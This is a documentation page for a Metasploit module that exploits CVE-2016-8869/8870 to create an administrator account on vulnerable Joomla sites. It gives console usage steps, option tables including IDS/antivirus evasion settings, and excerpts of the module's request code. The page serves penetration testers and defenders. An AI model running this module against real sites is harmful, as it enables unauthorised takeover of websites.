Joomla Account Creation and Privilege Escalation - Metasploit

This page contains detailed information about how to use the auxiliary/admin/http/joomla_registration_privesc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

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Name: Joomla Account Creation and Privilege Escalation
Module: auxiliary/admin/http/joomla_registration_privesc
Source code: modules/auxiliary/admin/http/joomla_registration_privesc.rb
Disclosure date: 2016-10-25
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2016-8869, CVE-2016-8870

This module creates an arbitrary account with administrative privileges in Joomla versions 3.4.4 through 3.6.3. If an email server is configured in Joomla, an email will be sent to activate the account (the account is disabled by default).

Module Ranking and Traits

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Module Ranking:

• normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

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msf > use auxiliary/admin/http/joomla_registration_privesc
msf auxiliary(joomla_registration_privesc) > show targets
    ... a list of targets ...
msf auxiliary(joomla_registration_privesc) > set TARGET target-id
msf auxiliary(joomla_registration_privesc) > show options
    ... show and set options ...
msf auxiliary(joomla_registration_privesc) > exploit

Required Options

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• RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

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Here is how the admin/http/joomla_registration_privesc auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/joomla_registration_privesc

msf6 auxiliary(admin/http/joomla_registration_privesc) > show info

       Name: Joomla Account Creation and Privilege Escalation
     Module: auxiliary/admin/http/joomla_registration_privesc
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2016-10-25

Provided by:
  Fabio Pires <[email protected]>
  Filipe Reis <[email protected]>
  Vitor Oliveira <[email protected]>

Check supported:
  Yes

Basic options:
  Name       Current Setting        Required  Description
  ----       ---------------        --------  -----------
  EMAIL      [email protected]  yes       Email to receive the activation code for the account
  PASSWORD   expl0it3r              yes       Password for the username
  Proxies                           no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                            yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      80                     yes       The target port (TCP)
  SSL        false                  no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                      yes       The relative URI of the Joomla instance
  USERNAME   expl0it3r              yes       Username that will be created
  VHOST                             no        HTTP server virtual host

Description:
  This module creates an arbitrary account with administrative 
  privileges in Joomla versions 3.4.4 through 3.6.3. If an email 
  server is configured in Joomla, an email will be sent to activate 
  the account (the account is disabled by default).

References:
  https://nvd.nist.gov/vuln/detail/CVE-2016-8869
  https://nvd.nist.gov/vuln/detail/CVE-2016-8870
  https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html
  https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html
  https://medium.com/@showthread/joomla-3-6-4-account-creation-elevated-privileges-write-up-and-exploit-965d8fb46fa2

Module Options

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This is a complete list of options available in the admin/http/joomla_registration_privesc auxiliary module:

msf6 auxiliary(admin/http/joomla_registration_privesc) > show options

Module options (auxiliary/admin/http/joomla_registration_privesc):

   Name       Current Setting        Required  Description
   ----       ---------------        --------  -----------
   EMAIL      [email protected]  yes       Email to receive the activation code for the account
   PASSWORD   expl0it3r              yes       Password for the username
   Proxies                           no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                            yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80                     yes       The target port (TCP)
   SSL        false                  no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                      yes       The relative URI of the Joomla instance
   USERNAME   expl0it3r              yes       Username that will be created
   VHOST                             no        HTTP server virtual host

Advanced Options

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Here is a complete list of advanced options supported by the admin/http/joomla_registration_privesc auxiliary module:

msf6 auxiliary(admin/http/joomla_registration_privesc) > show advanced

Module advanced options (auxiliary/admin/http/joomla_registration_privesc):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions

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This is a list of all auxiliary actions that the admin/http/joomla_registration_privesc module can do:

msf6 auxiliary(admin/http/joomla_registration_privesc) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

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Here is the full list of possible evasion options supported by the admin/http/joomla_registration_privesc auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/joomla_registration_privesc) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

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This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Unable to connect to target

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Here is a relevant code snippet related to the "Unable to connect to target" error message:

43:	
44:	  def check
45:	    res = send_request_cgi('uri' => target_uri.path)
46:	
47:	    unless res
48:	      vprint_error('Unable to connect to target')
49:	      return Exploit::CheckCode::Unknown
50:	    end
51:	
52:	    unless joomla_and_online?
53:	      vprint_error('Unable to detect Joomla')

Unable to detect Joomla

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Here is a relevant code snippet related to the "Unable to detect Joomla" error message:

48:	      vprint_error('Unable to connect to target')
49:	      return Exploit::CheckCode::Unknown
50:	    end
51:	
52:	    unless joomla_and_online?
53:	      vprint_error('Unable to detect Joomla')
54:	      return Exploit::CheckCode::Safe
55:	    end
56:	
57:	    version = Rex::Version.new(joomla_version)
58:	

Unable to detect Joomla version

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Here is a relevant code snippet related to the "Unable to detect Joomla version" error message:

55:	    end
56:	
57:	    version = Rex::Version.new(joomla_version)
58:	
59:	    unless version
60:	      vprint_error('Unable to detect Joomla version')
61:	      return Exploit::CheckCode::Detected
62:	    end
63:	
64:	    vprint_status("Detected Joomla version #{version}")
65:	

Target seems safe, so we will not continue!

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Here is a relevant code snippet related to the "Target seems safe, so we will not continue!" error message:

81:	    end
82:	  end
83:	
84:	  def run
85:	    if check == Exploit::CheckCode::Safe
86:	      print_error('Target seems safe, so we will not continue!')
87:	      return
88:	    end
89:	
90:	    print_status("Trying to create the user!")
91:	    res = send_request_cgi(

Could not find csrf or cookie!

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Here is a relevant code snippet related to the "Could not find csrf or cookie!" error message:

98:	    if res && res.code == 200
99:	      cookie = res.get_cookies
100:	      csrf = get_csrf(res.get_hidden_inputs)
101:	
102:	      if csrf.length != 32 && cookie.split(/=/).length != 2
103:	        print_error('Could not find csrf or cookie!')
104:	        return
105:	      end
106:	    else
107:	      print_error('Could not find Login Page!')
108:	      return

Could not find Login Page!

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Here is a relevant code snippet related to the "Could not find Login Page!" error message:

102:	      if csrf.length != 32 && cookie.split(/=/).length != 2
103:	        print_error('Could not find csrf or cookie!')
104:	        return
105:	      end
106:	    else
107:	      print_error('Could not find Login Page!')
108:	      return
109:	    end
110:	
111:	    mime = Rex::MIME::Message.new
112:	    mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[name]"')

There was an issue, but the user could have been created.

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Here is a relevant code snippet related to the "There was an issue, but the user could have been created." error message:

138:	        'uri' => res.redirection.path,
139:	        'method' => 'GET',
140:	        'cookie'  => cookie
141:	      )
142:	
143:	      print_error("There was an issue, but the user could have been created.")
144:	
145:	      parsed_data = res.get_html_document
146:	      parsed_data.xpath('//div[@class="alert-message"]').each do |alert_msg|
147:	        print_error("\t" + alert_msg.text)
148:	      end

This host may not be vulnerable.

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Here is a relevant code snippet related to the "This host may not be vulnerable." error message:

143:	      print_error("There was an issue, but the user could have been created.")
144:	
145:	      parsed_data = res.get_html_document
146:	      parsed_data.xpath('//div[@class="alert-message"]').each do |alert_msg|
147:	        print_error("\t" + alert_msg.text)
148:	      end
149:	    else
150:	      print_error("This host may not be vulnerable.")
151:	    end
152:	  end
153:	end

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Related Pull Requests

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• #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
• #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
• #12086 Merged Pull Request: Minor fix for aux joomla_registration_privesc
• #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
• #7498 Merged Pull Request: Joomla Account Creation and Privilege Escalation

References

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• CVE-2016-8869
• CVE-2016-8870
• https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html
• https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html
• https://medium.com/@showthread/joomla-3-6-4-account-creation-elevated-privileges-write-up-and-exploit-965d8fb46fa2

See Also

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Check also the following modules related to this module:

• auxiliary/gather/joomla_com_realestatemanager_sqli
• auxiliary/gather/joomla_contenthistory_sqli
• auxiliary/gather/joomla_weblinks_sqli
• auxiliary/scanner/http/joomla_bruteforce_login
• auxiliary/scanner/http/joomla_ecommercewd_sqli_scanner
• auxiliary/scanner/http/joomla_gallerywd_sqli_scanner
• auxiliary/scanner/http/joomla_pages
• auxiliary/scanner/http/joomla_plugins
• auxiliary/scanner/http/joomla_version
• exploit/multi/http/joomla_http_header_rce
• exploit/unix/webapp/joomla_akeeba_unserialize
• exploit/unix/webapp/joomla_comfields_sqli_rce
• exploit/unix/webapp/joomla_comjce_imgmanager
• exploit/unix/webapp/joomla_contenthistory_sqli_rce
• exploit/unix/webapp/joomla_media_upload_exec
• exploit/unix/webapp/joomla_tinybrowser
• auxiliary/admin/http/cisco_7937g_ssh_privesc
• auxiliary/admin/http/manageengine_pmp_privesc
• auxiliary/admin/http/wp_automatic_plugin_privesc
• auxiliary/admin/http/wp_gdpr_compliance_privesc
• auxiliary/admin/http/wp_masterstudy_privesc
• auxiliary/admin/oracle/oracle_index_privesc
• auxiliary/scanner/http/wp_registrationmagic_sqli

Authors

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• Fabio Pires <fp[at]integrity.pt>
• Filipe Reis <fr[at]integrity.pt>
• Vitor Oliveira <vo[at]integrity.pt>

Version

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This page has been produced using Metasploit Framework version 6.1.36-dev. For more modules, visit the Metasploit Module Library.

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